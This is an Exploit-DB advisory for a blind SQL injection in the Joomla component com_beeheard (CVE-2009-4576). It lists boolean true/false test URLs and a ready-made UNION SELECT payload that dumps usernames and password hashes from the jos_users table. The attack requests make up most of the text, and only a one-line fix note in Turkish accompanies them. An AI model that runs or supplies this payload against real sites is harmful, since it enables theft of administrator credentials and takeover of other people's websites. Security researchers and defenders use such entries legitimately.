Joomla Component com_beeheard Blind SQL Injection Vulnerability

2009-12-27T00:00:00
ID EDB-ID:10734
Type exploitdb
Reporter FL0RiX
Modified 2009-12-27T00:00:00

Description

Joomla Component com_beeheard Blind SQL injection Vulnerability. CVE-2009-4576. Webapps exploit for php platform

                                        
                                            [++] Joomla Component com_beeheard Blind SQL injection Vulnerability
[++] author : FL0RiX
[++] Name : com_beeheard
[++] Bug Type : (Blind) SQL Injection
[++] Infection : Admin login bilgileri alınabilir.
[++] Demo Vuln. :

TRUE(+)
Âť http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=1
FALSE(-)
Âť http://server/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=2 and 1=0

[++] Bug Fix Advice : Zararlı karakterler filtrelenmelidir.



< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_beeheard&controller=suggestions&view=suggestions&layout=list&category_id=null/**/and/**/1=0/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixforever,5,6,7,8,9/**/from/**/jos_users--

< -- bug code end of -- >